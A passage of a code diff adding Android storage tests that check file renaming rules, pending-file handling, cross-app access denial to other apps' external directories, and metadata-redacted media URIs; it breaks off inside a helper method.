+    public void testRenameCanRestoreDeletedRowId() throws Exception {
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File temporaryFile = new File(getDownloadDir(), IMAGE_FILE_NAME + "_.tmp");
+        final ContentResolver cr = getContentResolver();
+
+        try {
+            assertThat(imageFile.createNewFile()).isTrue();
+            final Uri oldUri = MediaStore.scanFile(cr, imageFile);
+            assertThat(oldUri).isNotNull();
+
+            Files.copy(imageFile, temporaryFile);
+            assertThat(imageFile.delete()).isTrue();
+            assertCanRenameFile(temporaryFile, imageFile);
+
+            final Uri newUri = MediaStore.scanFile(cr, imageFile);
+            assertThat(newUri).isNotNull();
+            assertThat(newUri.getLastPathSegment()).isEqualTo(oldUri.getLastPathSegment());
+            // oldUri of imageFile is still accessible after delete and rename.
+            assertThat(cr.openFileDescriptor(oldUri, "rw")).isNotNull();
+        } finally {
+            imageFile.delete();
+            temporaryFile.delete();
+        }
+    }
+
+    @Test
+    public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
+        File invalidFile = new File(getDownloadDir(), "<>");
+        File validFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        try {
+            assertThrows(IOException.class, "Operation not permitted",
+                    () -> {
+                        invalidFile.createNewFile();
+                    });
+
+            assertThat(validFile.createNewFile()).isTrue();
+            // We can't rename a file to a file name with invalid FAT characters.
+            assertCantRenameFile(validFile, invalidFile);
+        } finally {
+            invalidFile.delete();
+            validFile.delete();
+        }
+    }
+
+    @Test
+    public void testRenameWithSpecialChars() throws Exception {
+        final String specialCharsSuffix = "'`~!@#$%^& ()_+-={}[];'.)";
+
+        final File fileSpecialChars =
+                new File(getDownloadDir(), NONMEDIA_FILE_NAME + specialCharsSuffix);
+
+        final File dirSpecialChars =
+                new File(getDownloadDir(), TEST_DIRECTORY_NAME + specialCharsSuffix);
+        final File file1 = new File(dirSpecialChars, NONMEDIA_FILE_NAME);
+        final File fileSpecialChars1 =
+                new File(dirSpecialChars, NONMEDIA_FILE_NAME + specialCharsSuffix);
+
+        final File renamedDir = new File(getDocumentsDir(), TEST_DIRECTORY_NAME);
+        final File file2 = new File(renamedDir, NONMEDIA_FILE_NAME);
+        final File fileSpecialChars2 =
+                new File(renamedDir, NONMEDIA_FILE_NAME + specialCharsSuffix);
+        try {
+            assertTrue(fileSpecialChars.createNewFile());
+            if (!dirSpecialChars.exists()) {
+                assertTrue(dirSpecialChars.mkdir());
+            }
+            assertTrue(file1.createNewFile());
+
+            // We can rename file name with special characters
+            assertCanRenameFile(fileSpecialChars, fileSpecialChars1);
+
+            // We can rename directory name with special characters
+            assertCanRenameDirectory(dirSpecialChars, renamedDir,
+                    new File[] {file1, fileSpecialChars1}, new File[] {file2, fileSpecialChars2});
+        } finally {
+            file1.delete();
+            file2.delete();
+            fileSpecialChars.delete();
+            fileSpecialChars1.delete();
+            fileSpecialChars2.delete();
+            dirSpecialChars.delete();
+            renamedDir.delete();
+        }
+    }
+
+    /**
+     * Test that IS_PENDING is set for files created via filepath
+     */
+    @Test
+    public void testPendingFromFuse() throws Exception {
+        final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+        try {
+            assertTrue(pendingFile.createNewFile());
+            // Newly created file should have IS_PENDING set
+            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(1);
+            }
+
+            // If we query with MATCH_EXCLUDE, we should still see this pendingFile
+            try (Cursor c = queryFileExcludingPending(pendingFile,
+                    MediaStore.MediaColumns.IS_PENDING)) {
+                assertThat(c.getCount()).isEqualTo(1);
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(1);
+            }
+
+            assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
+
+            // IS_PENDING should be unset after the scan
+            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(0);
+            }
+
+            assertCreateFilesAs(APP_A_HAS_RES, otherPendingFile);
+            // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
+            try (Cursor c = queryFileExcludingPending(otherPendingFile,
+                    MediaStore.MediaColumns.IS_PENDING)) {
+                assertThat(c.getCount()).isEqualTo(0);
+            }
+        } finally {
+            pendingFile.delete();
+            deleteFileAsNoThrow(APP_A_HAS_RES, otherPendingFile.getAbsolutePath());
+        }
+    }
+
+    /**
+     * Test that we don't allow renaming to top level directory
+     */
+    @Test
+    public void testCantRenameToTopLevelDirectory() throws Exception {
+        final File topLevelDir1 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_1");
+        final File topLevelDir2 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_2");
+        final File nonTopLevelDir = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+        try {
+            createDirectoryAsLegacyApp(topLevelDir1);
+            assertTrue(topLevelDir1.exists());
+
+            // We can't rename a top level directory to a top level directory
+            assertCantRenameDirectory(topLevelDir1, topLevelDir2, null);
+
+            // However, we can rename a top level directory to non-top level directory.
+            assertCanRenameDirectory(topLevelDir1, nonTopLevelDir, null, null);
+
+            // We can't rename a non-top level directory to a top level directory.
+            assertCantRenameDirectory(nonTopLevelDir, topLevelDir2, null);
+        } finally {
+            deleteAsLegacyApp(topLevelDir1);
+            deleteAsLegacyApp(topLevelDir2);
+            nonTopLevelDir.delete();
+        }
+    }
+
+    @Test
+    public void testCanCreateDefaultDirectory() throws Exception {
+        final File podcastsDir = getPodcastsDir();
+        try {
+            if (podcastsDir.exists()) {
+                deleteAsLegacyApp(podcastsDir);
+            }
+            assertThat(podcastsDir.mkdir()).isTrue();
+        } finally {
+            createDirectoryAsLegacyApp(podcastsDir);
+        }
+    }
+
+    /**
+     * b/168830497: Test that app can write to file in DCIM/Camera even with .nomedia presence
+     */
+    @Test
+    public void testCanWriteToDCIMCameraWithNomedia() throws Exception {
+        final File cameraDir = new File(getDcimDir(), "Camera");
+        final File nomediaFile = new File(cameraDir, ".nomedia");
+        Uri targetUri = null;
+
+        try {
+            // Recreate required file and directory
+            if (cameraDir.exists()) {
+                // This is a work around to address a known inode cache inconsistency issue
+                // that occurs when test runs for the second time.
+                deleteAsLegacyApp(cameraDir);
+            }
+
+            createDirectoryAsLegacyApp(cameraDir);
+            assertTrue(cameraDir.exists());
+
+            createFileAsLegacyApp(nomediaFile);
+            assertTrue(nomediaFile.exists());
+
+            ContentValues values = new ContentValues();
+            values.put(MediaStore.MediaColumns.RELATIVE_PATH, "DCIM/Camera");
+            targetUri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+            assertNotNull(targetUri);
+
+            try (ParcelFileDescriptor pfd =
+                         getContentResolver().openFileDescriptor(targetUri, "w")) {
+                assertThat(pfd).isNotNull();
+                Os.write(pfd.getFileDescriptor(), ByteBuffer.wrap(BYTES_DATA1));
+            }
+
+            assertFileContent(new File(getFilePathFromUri(targetUri)), BYTES_DATA1);
+        } finally {
+            deleteWithMediaProviderNoThrow(targetUri);
+            deleteAsLegacyApp(nomediaFile);
+            deleteAsLegacyApp(cameraDir);
+        }
+    }
+
+    /**
+     * Test that readdir lists unsupported file types in default directories.
+     */
+    @Test
+    public void testListUnsupportedFileType() throws Exception {
+        final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
+        final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
+        try {
+            // TEST_APP_A with storage permission should not see pdf file in DCIM
+            createFileAsLegacyApp(pdfFile);
+            assertThat(pdfFile.exists()).isTrue();
+            assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
+
+            assertThat(listAs(APP_A_HAS_RES, getDcimDir().getPath()))
+                    .doesNotContain(NONMEDIA_FILE_NAME);
+
+            createFileAsLegacyApp(videoFile);
+            // We don't insert files to db for files created by shell.
+            assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
+            // TEST_APP_A with storage permission should see video file in Music directory.
+            assertThat(listAs(APP_A_HAS_RES, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
+        } finally {
+            deleteAsLegacyApp(pdfFile);
+            deleteAsLegacyApp(videoFile);
+            MediaStore.scanFile(getContentResolver(), pdfFile);
+            MediaStore.scanFile(getContentResolver(), videoFile);
+        }
+    }
+
+    /**
+     * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
+     */
+    @Test
+    public void testCantAccessOtherAppsExternalDirs() throws Exception {
+        File[] obbDirs = getContext().getObbDirs();
+        File[] dataDirs = getContext().getExternalFilesDirs(null);
+        for (File obbDir : obbDirs) {
+            final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+            final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
+            try {
+                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+                assertCannotReadOrWrite(file);
+            } finally {
+                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+            }
+        }
+        for (File dataDir : dataDirs) {
+            final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+            final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
+            try {
+                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+                assertCannotReadOrWrite(file);
+            } finally {
+                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+            }
+        }
+    }
+
+    /**
+     * Test that apps can't set attributes on another app's files.
+     */
+    @Test
+    public void testCantSetAttrOtherAppsFile() throws Exception {
+        // This path's permission is checked in MediaProvider (directory/external media dir)
+        final File externalMediaPath = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
+
+        try {
+            // Create the files
+            if (!externalMediaPath.exists()) {
+                assertThat(externalMediaPath.createNewFile()).isTrue();
+            }
+
+            // APP A should not be able to setattr to other app's files.
+            assertWithMessage(
+                    "setattr on directory/external media path [%s]", externalMediaPath.getPath())
+                    .that(setAttrAs(APP_A_HAS_RES, externalMediaPath.getPath()))
+                    .isFalse();
+        } finally {
+            externalMediaPath.delete();
+        }
+    }
+
+    /**
+     * b/171768780: Test that scan doesn't skip scanning renamed hidden file.
+     */
+    @Test
+    public void testScanUpdatesMetadataForRenamedHiddenFile() throws Exception {
+        final File hiddenFile = new File(getPicturesDir(), ".hidden_" + IMAGE_FILE_NAME);
+        final File jpgFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        try {
+            // Copy the image content to hidden file
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
+                 FileOutputStream out = new FileOutputStream(hiddenFile)) {
+                FileUtils.copy(in, out);
+                out.getFD().sync();
+            }
+            Uri scanUri = MediaStore.scanFile(getContentResolver(), hiddenFile);
+            assertNotNull(scanUri);
+
+            // Rename hidden file to non-hidden
+            assertCanRenameFile(hiddenFile, jpgFile);
+
+            try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+                assertTrue(c.moveToFirst());
+                // The file is not scanned yet, hence the metadata is not updated yet.
+                assertThat(c.getString(0)).isNull();
+            }
+
+            // Scan the file to update the metadata for renamed hidden file.
+            scanUri = MediaStore.scanFile(getContentResolver(), jpgFile);
+            assertNotNull(scanUri);
+
+            // Scan should be able to update metadata even if File.lastModifiedTime hasn't changed.
+            try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+                assertTrue(c.moveToFirst());
+                assertThat(c.getString(0)).isNotNull();
+            }
+        } finally {
+            hiddenFile.delete();
+            jpgFile.delete();
+        }
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+            verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+            verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testDeferredScanHidesPartialDatabaseRows() throws Exception {
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.IS_PENDING, 1);
+        // Insert a pending row
+        final Uri targetUri = getContentResolver().insert(getImageContentUri(), values, null);
+        try (InputStream in =
+                     getContext().getResources().openRawResource(R.raw.img_with_metadata)) {
+            try (ParcelFileDescriptor pfd =
+                         getContentResolver().openFileDescriptor(targetUri, "w")) {
+                // Write image content to the file
+                FileUtils.copy(in, new ParcelFileDescriptor.AutoCloseOutputStream(pfd));
+            }
+        }
+
+        // Verify that metadata is not updated yet.
+        try (Cursor c = getContentResolver().query(targetUri, new String[] {
+                MediaStore.Images.ImageColumns.DATE_TAKEN}, null, null)) {
+            assertThat(c.moveToFirst()).isTrue();
+            assertThat(c.getString(0)).isNull();
+        }
+        // Get file path to use in the next query().
+        final String imageFilePath = getFilePathFromUri(targetUri);
+
+        values.put(MediaStore.MediaColumns.IS_PENDING, 0);
+        Bundle extras = new Bundle();
+        extras.putBoolean(MediaStore.QUERY_ARG_DEFER_SCAN, true);
+        // Publish the file, but, defer the scan on update().
+        assertThat(getContentResolver().update(targetUri, values, extras)).isEqualTo(1);
+
+        // The update() above can return before scanning is complete. Verify that either we don't
+        // see the file in published files or if the file appears in the collection, it means that
+        // deferred scan is now complete, hence verify metadata is intact.
+        try (Cursor c = getContentResolver().query(getImageContentUri(),
+                new String[] {MediaStore.Images.ImageColumns.DATE_TAKEN},
+                MediaStore.Files.FileColumns.DATA + "=?", new String[] {imageFilePath}, null)) {
+            if (c.getCount() == 1) {
+                // If the file appears in media collection as published file, verify that metadata
+                // is correct.
+                assertThat(c.moveToFirst()).isTrue();
+                assertThat(c.getString(0)).isNotNull();
+                Log.i(TAG, "Verified that deferred scan on " + imageFilePath + " is complete"
+                        + " and hence metadata is updated");
+
+            } else {
+                assertThat(c.getCount()).isEqualTo(0);
+                Log.i(TAG, "Verified that " + imageFilePath + " was excluded in default query");
+            }
+        }
+    }
+
+    private void testRedactedUriCommon(Uri uri, Uri redactedUri) {
+        assertEquals(redactedUri.getAuthority(), uri.getAuthority());
+        assertEquals(redactedUri.getScheme(), uri.getScheme());
+        assertNotEquals(redactedUri.getPath(), uri.getPath());
+        assertNotEquals(redactedUri.getPathSegments(), uri.getPathSegments());
+
+        final String uriId = redactedUri.getLastPathSegment();
+        assertThat(uriId.startsWith("RUID")).isTrue();
+        assertEquals(uriId.length(), 36);
+    }
+
+    @Test
+    public void testRedactedUri_single() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+
+        try {
+            final Uri uri = MediaStore.scanFile(getContentResolver(), img);
+            final Uri redactedUri = MediaStore.getRedactedUri(getContentResolver(), uri);
+            testRedactedUriCommon(uri, redactedUri);
+        } finally {
+            img.delete();
+        }
+    }
+
+    @Test
+    public void testRedactedUri_list() throws Exception {
+        List<Uri> uris = new ArrayList<>();
+        List<File> files = new ArrayList<>();
+
+        try {
+            for (int i = 0; i < 10; i++) {
+                File file = stageImageFileWithMetadata("img_metadata" + String.valueOf(
+                        System.nanoTime()) + i + ".jpg");
+                files.add(file);
+                uris.add(MediaStore.scanFile(getContentResolver(), file));
+            }
+
+            final Collection<Uri> redactedUris = MediaStore.getRedactedUri(getContentResolver(),
+                    uris);
+            int i = 0;
+            for (Uri redactedUri : redactedUris) {
+                Uri uri = uris.get(i++);
+                testRedactedUriCommon(uri, redactedUri);
+            }
+        } finally {
+            files.forEach(file -> file.delete());
+        }
+    }
+
+    @Test
+    public void testQueryOnRedactionUri() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        final Uri uri = MediaStore.scanFile(getContentResolver(), img);
+        final Uri redactedUri = MediaStore.getRedactedUri(getContentResolver(), uri);
+        final Cursor uriCursor = getContentResolver().query(uri, null, null, null);
+        final String redactedUriDir = ".transforms/synthetic/redacted";
+        final String redactedUriDirAbsolutePath =
+                Environment.getExternalStorageDirectory() + "/" + redactedUriDir;
+        try {
+            assertNotNull(uriCursor);
+            assertThat(uriCursor.moveToFirst()).isTrue();
+
+            final Cursor redactedUriCursor = getContentResolver().query(redactedUri, null, null,
+                    null);
+            assertNotNull(redactedUriCursor);
+            assertThat(redactedUriCursor.moveToFirst()).isTrue();
+
+            assertEquals(redactedUriCursor.getColumnCount(), uriCursor.getColumnCount());
+
+            final String data = getStringFromCursor(redactedUriCursor,
+                    MediaStore.MediaColumns.DATA);
+            final String redactedUriId = redactedUri.getLastPathSegment();
+            assertEquals(redactedUriDirAbsolutePath + "/" + redactedUriId, data);
+
+            final String name = getStringFromCursor(redactedUriCursor,
+                    MediaStore.MediaColumns.DISPLAY_NAME);
+            assertEquals(redactedUriId, name);
+
+            final String relativePath = getStringFromCursor(redactedUriCursor,
+                    MediaStore.MediaColumns.RELATIVE_PATH);
+            assertEquals(redactedUriDir, relativePath);
+
+            final String bucketDisplayName = getStringFromCursor(redactedUriCursor,
+                    MediaStore.MediaColumns.BUCKET_DISPLAY_NAME);
+            assertEquals(redactedUriDir, bucketDisplayName);
+
+            final String docId = getStringFromCursor(redactedUriCursor,
+                    MediaStore.MediaColumns.DOCUMENT_ID);
+            assertNull(docId);
+
+            final String insId = getStringFromCursor(redactedUriCursor,
+                    MediaStore.MediaColumns.INSTANCE_ID);
+            assertNull(insId);
+
+            final String bucId = getStringFromCursor(redactedUriCursor,
+                    MediaStore.MediaColumns.BUCKET_ID);
+            assertNull(bucId);
+
+            final Collection<String> updatedCols = Arrays.asList(MediaStore.MediaColumns._ID,
+                    MediaStore.MediaColumns.DISPLAY_NAME,
+                    MediaStore.MediaColumns.RELATIVE_PATH,
+                    MediaStore.MediaColumns.BUCKET_DISPLAY_NAME,
+                    MediaStore.MediaColumns.DATA,
+                    MediaStore.MediaColumns.DOCUMENT_ID,
+                    MediaStore.MediaColumns.INSTANCE_ID,
+                    MediaStore.MediaColumns.BUCKET_ID);
+            for (String colName : uriCursor.getColumnNames()) {
+                if (!updatedCols.contains(colName)) {
+                    if (uriCursor.getType(uriCursor.getColumnIndex(colName)) == FIELD_TYPE_BLOB) {
+                        assertThat(
+                                Arrays.equals(uriCursor.getBlob(uriCursor.getColumnIndex(colName)),
+                                        redactedUriCursor.getBlob(redactedUriCursor.getColumnIndex(
+                                                colName)))).isTrue();
+                    } else {
+                        assertEquals(getStringFromCursor(uriCursor, colName),
+                                getStringFromCursor(redactedUriCursor, colName));
+                    }
+                }
+            }
+        } finally {
+            img.delete();
+        }
+    }
+
+    /*
+     * Verify that app can't open the shared redacted URI for write.
+     **/
+    @Test
+    public void testSharedRedactedUri_openFdForWrite() throws Exception {
+        forceStopApp(APP_B_NO_PERMS.getPackageName());
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        try {
+            Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+            assertThrows(UnsupportedOperationException.class,
+                    () -> canOpenRedactedUriForWrite(APP_B_NO_PERMS, redactedUri));
+        } finally {
+            img.delete();
+        }
+    }
+
+    /*
+     * Verify that app with correct permission can open the shared redacted URI for read in
+     * redacted mode.
+     **/
+    @Test
+    public void testSharedRedactedUri_openFdForRead() throws Exception {
+        forceStopApp(APP_B_NO_PERMS.getPackageName());
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        try {
+            final Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+            assertThat(isFileDescriptorRedacted(APP_B_NO_PERMS, redactedUri)).isTrue();
+        } finally {
+            img.delete();
+        }
+    }
+
+    /*
+     * Verify that app with correct permission can open the shared redacted URI for read in
+     * redacted mode.
+     **/
+    @Test
+    public void testSharedRedactedUri_openFileForRead() throws Exception {
+        forceStopApp(APP_B_NO_PERMS.getPackageName());
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        try {
+            Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+            assertThat(isFileOpenRedacted(APP_B_NO_PERMS, redactedUri)).isTrue();
+        } finally {
+            img.delete();
+        }
+    }
+
+    /*
+     * Verify that the app with redacted URI granted can query it.
+     **/
+    @Test
+    public void testSharedRedactedUri_query() throws Exception {
+        forceStopApp(APP_B_NO_PERMS.getPackageName());
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        try {
+            Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+            assertThat(canQueryOnUri(APP_B_NO_PERMS, redactedUri)).isTrue();
+        } finally {
+            img.delete();
+        }
+    }
+
+    /*
+     * Verify that for app with AML permission shared redacted URI opens for read in redacted mode.
+     **/
+    @Test
+    public void testSharedRedactedUri_openFileForRead_withLocationPerm() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        try {
+            // Install test app
+            installAppWithStoragePermissions(APP_C);
+            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+
+            Uri redactedUri = shareAndGetRedactedUri(img, APP_C);
+            assertThat(isFileOpenRedacted(APP_C, redactedUri)).isTrue();
+        } finally {
+            img.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    /*
+     * Verify that for app with AML permission shared redacted URI opens for read in redacted mode.
+     **/
+    @Test
+    public void testSharedRedactedUri_openFdForRead_withLocationPerm() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        try {
+            // Install test app
+            installAppWithStoragePermissions(APP_C);
+            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+
+            Uri redactedUri = shareAndGetRedactedUri(img, APP_C);
+            assertThat(isFileDescriptorRedacted(APP_C, redactedUri)).isTrue();
+        } finally {
+            img.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    /*
+     * Verify that the test app can't access unshared redacted uri via file descriptor
+     **/
+    @Test
+    public void testUnsharedRedactedUri_openFdForRead() throws Exception {
+        forceStopApp(APP_B_NO_PERMS.getPackageName());
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        try {
+            // Install test app
+            installAppWithStoragePermissions(APP_C);
+
+            final Uri redactedUri = getRedactedUri(img);
+            // APP_C has R_E_S, so should have access to redactedUri
+            assertThat(isFileDescriptorRedacted(APP_C, redactedUri)).isTrue();
+            assertThrows(SecurityException.class,
+                    () -> isFileDescriptorRedacted(APP_B_NO_PERMS, redactedUri));
+        } finally {
+            img.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    /*
+     * Verify that the test app can't access unshared redacted uri via file path
+     **/
+    @Test
+    public void testUnsharedRedactedUri_openFileForRead() throws Exception {
+        forceStopApp(APP_B_NO_PERMS.getPackageName());
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        try {
+            // Install test app
+            installAppWithStoragePermissions(APP_C);
+
+            final Uri redactedUri = getRedactedUri(img);
+            // APP_C has R_E_S
+            assertThat(isFileOpenRedacted(APP_C, redactedUri)).isTrue();
+            assertThrows(IOException.class, () -> isFileOpenRedacted(APP_B_NO_PERMS, redactedUri));
+        } finally {
+            img.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    @Test
+    public void testGrantUriPermissionsForRedactedUri() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        final Uri redactedUri = getRedactedUri(img);
+        try {
+            getContext().grantUriPermission(APP_B_NO_PERMS.getPackageName(), redactedUri,
+                    FLAG_GRANT_READ_URI_PERMISSION);
+            assertThrows(SecurityException.class, () ->
+                    getContext().grantUriPermission(APP_B_NO_PERMS.getPackageName(), redactedUri,
+                            Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
+        } finally {
+            img.delete();
+        }
+    }
+
+    @Test
+    public void testDisallowedOperationsOnRedactedUri() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        final Uri redactedUri = getRedactedUri(img);
+        try {
+            ContentValues cv = new ContentValues();
+            cv.put(MediaStore.MediaColumns.DATE_ADDED, 1);
+            assertEquals(0, getContentResolver().update(redactedUri, new ContentValues(),
+                    new Bundle()));
+            assertEquals(0, getContentResolver().delete(redactedUri, new Bundle()));
+        } finally {
+            img.delete();
+        }
+    }
+
+    @Test
+    public void testOpenOnRedactedUri_file() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        final Uri redactedUri = getRedactedUri(img);
+        try {
+            assertUriIsUnredacted(img);
+
+            final Cursor redactedUriCursor = getRedactedCursor(redactedUri);
+            File file = new File(
+                    getStringFromCursor(redactedUriCursor, MediaStore.MediaColumns.DATA));
+            ExifInterface redactedExifInf = new ExifInterface(file);
+            assertUriIsRedacted(redactedExifInf);
+
+            assertThrows(FileNotFoundException.class, () -> new FileOutputStream(file));
+        } finally {
+            img.delete();
+        }
+    }
+
+    @Test
+    public void testOpenOnRedactedUri_write() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        final Uri redactedUri = getRedactedUri(img);
+        try {
+            assertThrows(UnsupportedOperationException.class,
+                    () -> getContentResolver().openFileDescriptor(redactedUri,
+                            "w"));
+        } finally {
+            img.delete();
+        }
+    }
+
+    @Test
+    public void testOpenOnRedactedUri_inputstream() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        final Uri redactedUri = getRedactedUri(img);
+        try {
+            assertUriIsUnredacted(img);
+
+            InputStream is = getContentResolver().openInputStream(redactedUri);
+            ExifInterface redactedExifInf = new ExifInterface(is);
+            assertUriIsRedacted(redactedExifInf);
+        } finally {
+            img.delete();
+        }
+    }
+
+    @Test
+    public void testOpenOnRedactedUri_read() throws Exception {
+        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+        final Uri redactedUri = getRedactedUri(img);
+        try {
+            assertUriIsUnredacted(img);
+
+            FileDescriptor fd = getContentResolver().openFileDescriptor(redactedUri,
+                    "r").getFileDescriptor();
+            ExifInterface redactedExifInf = new ExifInterface(fd);
+            assertUriIsRedacted(redactedExifInf);
+        } finally {
+            img.delete();
+        }
+    }
+
+    @Test
+    public void testTransformsDirFileOperations() throws Exception {
+        final String path = Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_DIR;
+        final File file = new File(path);
+        assertThat(file.exists()).isTrue();
+        testTransformsDirCommon(file);
+    }
+
+    @Test
+    public void testTransformsSyntheticDirFileOperations() throws Exception {
+        final String path =
+                Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_SYNTHETIC_DIR;
+        final File file = new File(path);
+        assertThat(file.exists()).isTrue();
+        testTransformsDirCommon(file);
+    }
+
+    @Test
+    public void testTransformsTranscodeDirFileOperations() throws Exception {
+        final String path =
+                Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_TRANSCODE_DIR;
+        final File file = new File(path);
+        assertThat(file.exists()).isFalse();
+        testTransformsDirCommon(file);
+    }
+
+
+    /**
+     * Test mount modes for a platform signed app with ACCESS_MTP permission.
+     */
+    @Test
+    public void testMTPAppWithPlatformSignatureMountMode() throws Exception {
+        final String shellPackageName = "com.android.shell";
+        final int uid = getContext().getPackageManager().getPackageUid(shellPackageName, 0);
+        assertMountMode(shellPackageName, uid, StorageManager.MOUNT_MODE_EXTERNAL_ANDROID_WRITABLE);
+    }
+
+    /**
+     * Test mount modes for ExternalStorageProvider and DownloadsProvider.
+     */
+    @Test
+    public void testExternalStorageProviderAndDownloadsProvider() throws Exception {
+        assertWritableMountModeForProvider(DocumentsContract.EXTERNAL_STORAGE_PROVIDER_AUTHORITY);
+        assertWritableMountModeForProvider(DocumentsContract.DOWNLOADS_PROVIDER_AUTHORITY);
+    }
+
+    private void assertWritableMountModeForProvider(String auth) {
+        final ProviderInfo provider = getContext().getPackageManager()
+                .resolveContentProvider(auth, 0);
+        int uid = provider.applicationInfo.uid;
+        final String packageName = provider.applicationInfo.packageName;
+
+        assertMountMode(packageName, uid, StorageManager.MOUNT_MODE_EXTERNAL_ANDROID_WRITABLE);
+    }
+
+    private Uri shareAndGetRedactedUri(File file, TestApp testApp) {
+        final Uri redactedUri = getRedactedUri(file);
+        getContext().grantUriPermission(testApp.getPackageName(), redactedUri,
+                FLAG_GRANT_READ_URI_PERMISSION);
+
+        return redactedUri;
+    }
+
+    private Uri getRedactedUri(File file) {
+        final Uri uri = MediaStore.scanFile(getContentResolver(), file);
